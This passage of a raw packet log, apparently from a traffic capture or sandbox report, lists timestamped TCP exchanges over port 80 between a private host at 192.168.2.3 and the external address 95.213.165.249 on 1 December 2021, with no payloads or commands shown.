Dec 1, 2021 10:04:44.939450026 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939486027 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939524889 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939549923 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939584017 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939604044 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939640999 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939678907 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939718008 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939735889 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939780951 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939793110 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939831972 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939872026 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939909935 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939929008 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.939965963 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.939980984 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940021038 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940058947 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940093040 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940133095 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940172911 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940210104 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940233946 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940268993 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940284014 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940323114 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940361977 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940380096 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940418959 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940454960 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940493107 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940520048 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940567970 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940582991 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940623045 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940661907 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940700054 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940720081 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940757990 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940798044 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940844059 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940881014 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940888882 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.940941095 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.940979958 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941025019 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941035986 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.941082001 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941093922 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.941131115 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941170931 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941188097 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.941230059 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941288948 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.941327095 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999442101 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999500036 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999540091 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999581099 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999605894 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999644041 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999676943 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999716997 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999749899 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999779940 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999815941 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999855042 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999871969 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999897957 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:44.999933958 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:44.999975920 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000014067 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000030994 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000060081 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000103951 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000113964 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000154018 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000194073 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000231981 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000247002 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000269890 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000304937 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000345945 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000391006 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000401974 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000442982 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000478983 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000495911 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000535011 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000575066 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000608921 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000631094 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000678062 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000688076 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000726938 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000763893 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000782013 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000821114 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000879049 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.000921011 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.000963926 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001002073 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001019001 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001060009 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001099110 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001144886 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001154900 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001199961 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001210928 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001250029 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001288891 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001305103 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001344919 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001384974 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001421928 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001440048 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001473904 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001497030 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001534939 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001574039 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001593113 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001631975 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001672029 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001709938 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001727104 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001766920 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001791954 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.001823902 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.001873016 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.060511112 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060568094 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060605049 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060648918 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.060681105 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060720921 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060750008 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:45.060781002 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.060812950 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.060910940 CET	49808	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:45.118959904 CET	80	49808	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:46.758428097 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.816101074 CET	80	49814	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:46.816374063 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.816389084 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.818742990 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.874032974 CET	80	49814	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:46.877479076 CET	80	49814	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:46.913688898 CET	80	49814	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:46.915126085 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.915759087 CET	49814	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:46.973270893 CET	80	49814	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.220891953 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.278552055 CET	80	49815	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.279237986 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.279380083 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.279464006 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.336971045 CET	80	49815	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.336998940 CET	80	49815	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.379863024 CET	80	49815	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.380923986 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.380968094 CET	49815	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.411258936 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.438565969 CET	80	49815	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.469305992 CET	80	49816	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.469510078 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.469691992 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.469928980 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.527570963 CET	80	49816	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.527667999 CET	80	49816	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.572196960 CET	80	49816	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.572412014 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.572679043 CET	49816	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.605339050 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.630716085 CET	80	49816	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.663222075 CET	80	49817	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.663425922 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.663691044 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.663743019 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.721237898 CET	80	49817	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.766128063 CET	80	49817	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.766840935 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.767158985 CET	49817	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.824628115 CET	80	49817	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.843732119 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.901175976 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.901309967 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.901993036 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.983998060 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984033108 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984059095 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984085083 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984110117 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984116077 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.984136105 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984159946 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984183073 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984189987 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.984201908 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984224081 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:47.984226942 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:47.984282017 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042479038 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042505980 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042522907 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042541981 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042555094 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042572975 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042587996 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042604923 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042620897 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042638063 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042654991 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042663097 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042670965 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042689085 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042692900 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042706013 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042722940 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042741060 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042742014 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042757034 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042776108 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042793036 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042798996 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042809963 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.042840958 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042845011 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.042872906 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100065947 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100100040 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100121975 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100143909 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100166082 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100183964 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100188017 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100213051 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100235939 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100258112 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100256920 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100281954 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100285053 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100306034 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100330114 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100343943 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100352049 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100373983 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100384951 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100397110 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100419044 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100426912 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100440979 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100462914 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100466967 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100486040 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100507975 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100526094 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100528955 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100552082 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100572109 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100574970 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100594044 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100604057 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100615025 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100636005 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100645065 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100657940 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100680113 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100683928 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100703001 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100723028 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100733995 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100744963 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100763083 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100768089 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100790024 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100811005 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100826979 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100832939 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100872040 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100893021 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100913048 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100933075 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100934029 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100940943 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100949049 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.100955009 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.100991011 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158298969 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158335924 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158360004 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158380985 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158404112 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158420086 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158427954 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158448935 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158472061 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158485889 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158493042 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158516884 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158536911 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158543110 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158565998 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158567905 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158590078 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158612013 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158627987 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158633947 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158658028 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158673048 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158679962 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158703089 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158704042 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158725977 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158745050 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158747911 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158770084 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158791065 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158812046 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158813953 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158833027 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158854008 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158858061 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158875942 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158895969 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158896923 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158917904 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158917904 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158941984 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158963919 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.158967972 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.158983946 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.159004927 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.159009933 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.159032106 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.159053087 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.159071922 CET	49818	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:48.159074068 CET	80	49818	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:48.159096956 CET	80	49818	95.213.165.249	192.168.2.3
